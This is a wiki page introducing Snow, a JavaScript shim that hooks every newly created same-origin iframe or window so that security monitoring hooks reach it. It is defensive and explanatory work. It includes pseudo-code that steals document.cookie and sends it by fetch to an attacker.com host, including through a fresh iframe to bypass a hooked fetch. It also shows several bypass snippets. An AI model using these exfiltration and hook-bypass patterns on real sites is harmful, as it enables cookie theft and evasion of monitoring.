Skip to content

Introducing Snow

weizman edited this page Sep 7, 2022 · 8 revisions

Snow ❄️

Securing Nested Ownership of Windows

Snow aspires to standardize how to recursively own newborn same origin windows (aka iframes/realms) within a browser web app, from the context of the app itself, and ideally to achieve that goal as a browser builtin API in the future.

Until then, it comes in the form of a shim that once applied to the page exposes an API that when is provided with a callback, will make sure to call it with every new window that is being introduced under the current realm, before its creator gets a hold on it.

SNOW(win => console.log('new window is born under main realm: ', win));

This ability exists for extensions (with the all_frames: true property), but Snow brings it to non extension javascript with the same privileges as the web app.

  • Test Snow for yourself with this live CTF DEMO! (can you bypass snow and pop an alert message?)
  • Visit the repo to access the shim and learn how to install and use snow
  • Snow is still experimental ⚠️ - your help is highly appreciated!

Here's why this is important, why this was never solved before and why we think this should be a standard browser builtin API:

skip the motivation part to the introduction of snow part

The Evolution of Code Execution in Websites

The web security space has grown a lot in the past years, and lately faces a new and improved version of a traditional problem - unwanted code execution in websites.

Back then, the problem occurred mostly due to code execution allowing vulnerabilities, such as XSS, that were widely popular and approachable for attackers.

Such vulnerabilities allowed attackers to achieve Cross Site Scripting under vulnerable websites.

These issues were addressed in various ways such as the famous CSP mechanizm, but the web security industry later learned that such solutions were insufficient for addressing the problem, especially due to the evolution of the unwanted code execution problem, such as the supply chain attacks.

The supply chain attacks problem became more serious lately since the mass adoption of third party libraries based development.

Essentially it means that an attacker no longer has to break down the main website in order to obtain code execution - hacking (or delivering) a specific third party library that is being used by the website can achieve a similar impact.

Now this step of the evolution brings us to a point where CSP can't necessarily help us fully address the issue.
In the vulnerability disclosure article I wrote Chromium Based Browsers Full CSP Bypass Zero Day (CVE-2020-6519) I talk more about why is that.

It's about wrapping our head around the dangers that lie within same origin attacks rather than only worrying about cross origin hazards.

So web security companies who saw that coming, began working on client side based solutions, by providing better monitoring tools for javascript activity in the browser.

The approach in general is "we can offer a javascript third party library that once installed in the website, monitors the activity of the different code that is being executed, and later on we can tell which of these activities were illegitimate, if any".

The idea of monitoring javascript activity in the website is accomplished by hooking (overriding) functions that are considered by the solution provider as "sensitive". Also known as monkey patching.

So just as a slim example, we can tell for sure that no matter what the attacker wishes to accomplish by executing javascript code in the website, they would probably want to exfiltrate the result of their execution somehow (e.g. stealing cookies and then sending them to your evil server):

// pseudo code
window.fetch('https://attacker.com/stolen-cookies?data=' + document.cookie);

So naturally, hooking window.fetch function is a good idea, because when the attacker uses fetch API to exfiltrate the stolen data, the hook can monitor the action and catch the malicious activity in action:

// pseudo code
const realFetch = window.fetch;
window.fetch = function(input, init) {
    console.log('attempt to use fetch API with the following arguments: ', input, init);
    return realFetch.call(this, input, init);
}

This technique is well known in the web security industry, as it serves correct implementations of similar security solutions. This technique serves not only security solutions, but many other industries too.

You can use this technique to create and offer third party javascript libraries that:

  • hook all network communication attempts, log them and present them to the customer (e.g. logrocket);
  • track user activity and provide the collected data as a service to the customer (e.g. convizit);
  • hook and monitor sensitive functions in the browser that might uncover malicious unwanted activity in the website (e.g. perimeterx);

But they're all lacking an important component in their solutions, especially the web security ones, which allows attackers to easily bypass them and effectively cancel their solution entirely

The iFrames Headache

considering the fetch API example from above, let's assume an attacker gains code execution on a website, and after they steal some cookies, they want to exfiltrate the stolen data back to their servers. On first thought, this might not seem as an easy task, now that window.fetch is hooked and being monitored.

Lucky (for the attacker) we can use the power of iframes.

I mean after all, every window that comes to life within the webpage has its own APIs initialized, including fetch API. So instead of using the top window's fetch API (which is hooked), an attacker can simply create a new window by appending to the DOM a new iframe element and then use its window's fetch API:

// pseudo code
const ifr = document.createElement('iframe');
ifr.src = 'about:blank'; // to maintain same origin policy between the top window and the new iframe window
document.head.appendChild(ifr);
const iframeWindow = ifr.contentWindow;
iframeWindow.fetch('https://attacker.com/stolen-cookies?data=' + document.cookie);

We learn here, that hooking the top window's fetch API is simply not enough - we have to do so for every window that might exist in the webpage.

In order to do so, we'd have to successfully face a few challenges:

  1. map every single way of initiating a new window within a webpage
  2. hook each of those ways to give us every "newborn" window the second it is created and before its creator can have their hands on it

Once we know how to do that, we can start applying our monitoring fetch API hook on every new window in the webpage - and not just the top window.

Snow

This problem is partly solved by some companies that implemented non-fully-hermetic solutions to meet their specific needs.

However, there is no public and hermetic solution that aspires to serve as a standard solution to this problem, a solution that covers all possible scenarios and promises full control on every new window in the webpage. (no private solution either in my opinion, but I can't commit to that statement)

That's what snow comes to solve - it is a simple js shim with a very simple API that by giving a callback makes sure to execute it on every window that is initiated in the webpage before its creator gets to manipulate it.

So considering again the example from above, with snow you can protect fetch API once and for all:

window.SNOW((win) => {
  const realFetch = win.fetch;
  win.fetch = function(input, init) {
    console.log('attempt to use fetch API with the following arguments: ', input, init);
    return realFetch.call(this, input, init);
  }
}, window);

This will make sure to hook fetch API on every new window in the webpage!

Why snow solves a non trivial problem

implementing snow is not a trivial thing to do mostly due to the necessity of the solution being hermetic.

In order for it to fully work, all possible ways of creating new windows in the webpage must be hooked and taken care of, so there won't be any holes for attackers to exploit.

Meaning, if there's even a single way for attackers to create a new window without going through snow, then as said earlier - the whole idea is canceled.

Either there's no way, or there's no solution.

If diving into the technical part of the solution feels like to much to you, I highly recommend you skip over to the arguments we make on why such capability is missing as a builtin API in the browser.

Here's how it's done:

inserters

First method of creating a new window is to create a frame element and insert it to the DOM:

const ifr = document.createElement('iframe');
ifr.src = 'about:blank';
document.head.appendChild(ifr);
const iframeWindow = ifr.contentWindow;
iframeWindow.alert(iframeWindow !== window.top);

handling inserters is rather simple, we simply overwrite the insertions APIs under the window to take care of a newborn window within it before passing it on to its creator (see inserters.js)

listeners

Hooking inserters is not enough, because in chromium based browsers, a frame's load event listener is called synchronously when is being inserted into the DOM, meaning the load event listener will be called before the inserter hook is called, which leaves an attacker the option to manipulate the newborn window before our inserter hook has a chance:

const ifr = document.createElement('iframe');
ifr.src = 'about:blank';
ifr.addEventListener('load', (e) => {
  const iframeWindow = ifr.contentWindow;
  iframeWindow.alert(iframeWindow !== window.top);
})
document.head.appendChild(ifr);

solution is similar as before, hook it as well (see listeners.js)

attributes

Adding an event listener to an element can be done via attributes, and not only addEventListener API, so that also must be taken care of:

const ifr = document.createElement('iframe');
ifr.src = 'about:blank';
ifr.onload = (e) => {
  const iframeWindow = ifr.contentWindow;
  iframeWindow.alert(iframeWindow !== window.top);
};
document.head.appendChild(ifr);

or

const ifr = document.createElement('iframe');
ifr.src = 'about:blank';
ifr.setAttribute('onload', (e) => {
  const iframeWindow = ifr.contentWindow;
  iframeWindow.alert(iframeWindow !== window.top);
});
document.head.appendChild(ifr);

What we do here, is to strip down any load attributes and channel them through the mentioned above listeners hook, so we don't harm the original intention of attaching some load event listener to the element. (see attributes.js)

html

Now this is a tricky one. DOM manipulation can be done by DOM string representation and not only DOM elements insertion:

document.head.innerHTML += `<iframe onload="alert(this.window !== window.top)"></iframe>`;

This is much harder to hook, because realizing there's a frame hidden in that string can be very tricky. The idea here is to turn that html string into an actual DOM tree, strip down any onload attributes that might be used to manipulate that frame, and then right after letting the real call modify the real DOM - take that newborn window and hook it as well (see html.js).

open

This one is simple. Anyone can create a new window by simply calling open API:

open("").alert.call(window, this.window !== window.top);

Hooking that is very straight forward, simply handle the new window that is born out of this action before returning it (see open.js).

natives

This is a very important and the most unique part of the hermetic concept (and this is why you see weird securely usages all over the code). It comes down to the understanding that protecting window initializing APIs must be done in a protected way!

This is a concept that is hard to explain without diving deep into it, but the bottom line is that we want to assure our protecting hooks use APIs safely that cannot be tampered and interfered by anyone from outside.

So for example, if our document.appendChild hook uses for some reason Array.prototype.slice API, we must make sure the API we use cannot be hooked by an attacker, otherwise they can cancel our protection while its being executed.

This is done by using third party package securely which helps out with this exactly - learn more about it by seeing securely.js.

However, we highly recommend to learn about SES effort which is a standard in the making on how to effectively deal with this issue.

more!

Much more. Creating new realms in a web page can be done in so many ways, and snow is an ongoing attempt to secure all of them.

Is it production ready?

Securing snow fully is an ongoing mission in which snow made a tremendous progress in mapping all the possible ways to create new realms. In addition to the security aspect, snow being a javascript based solution forces it to deal with further difficult challenges such as:

  1. Browsers Support - All efforts went toward making sure Snow works smoothly with no errors on Chromium based browsers, it was not tested on Firefox/Safari. Help with applying support in these to this project is needed.
  2. Performance - Currently, in order for Snow to remain fully secure, it harms the performance significantly. This is something that the Snow project can use a lot of help with, but until then, Snow harms the performance in some websites (there will be however a version of Snow for extensions that will cut performance almost entirely, but it will serve extension products only)
  3. Security - Snow is worthless if it's not fully secure. What mainly lead this project was to make sure it is hermetically secured, so it is very safe to use. However, this project is new and any help on the security side will be much appreciated!

Snow as a browser builtin API

The best way to get snow ready to use in all dimensions described above is to ship it as a builtin part of the browser. Achieving so will allow a fast and fully secure way to guarantee first access to newborn realms in the web app.

We imagine that such API will resemble CSP or Service Workers in how they are the sole privilege of the web app itself to use. In other words, just as only the web app itself can be the one setting CSP rules, we hope to see snow as a builtin API in the browser that can only be used by the web app itself.

It only makes sense that the web app will have full control over new same origin realms that rise up under its domain, with which it could defend against attackers, shape realms to its satisfaction and generally control what happens under its realm - including child realms!

Important to note that such API (just like snow) won't have such effect on cross origin realms as those cannot affect the first realm similarly.

Reach out!

Can you help with any of the above? Do you have any insights on possible solutions? Want me to focus on specific aspects of this project? feel free to reach out in any way. Feedback or any help are highly appreciated!

I hope you'd find Snow as exciting as I do :)

Supporters

Funded by Consensys 💙

Maintained and developed by MetaMask 🦊

Invented and developed by Gal Weizman 👋🏻

Runs on Securely 🔒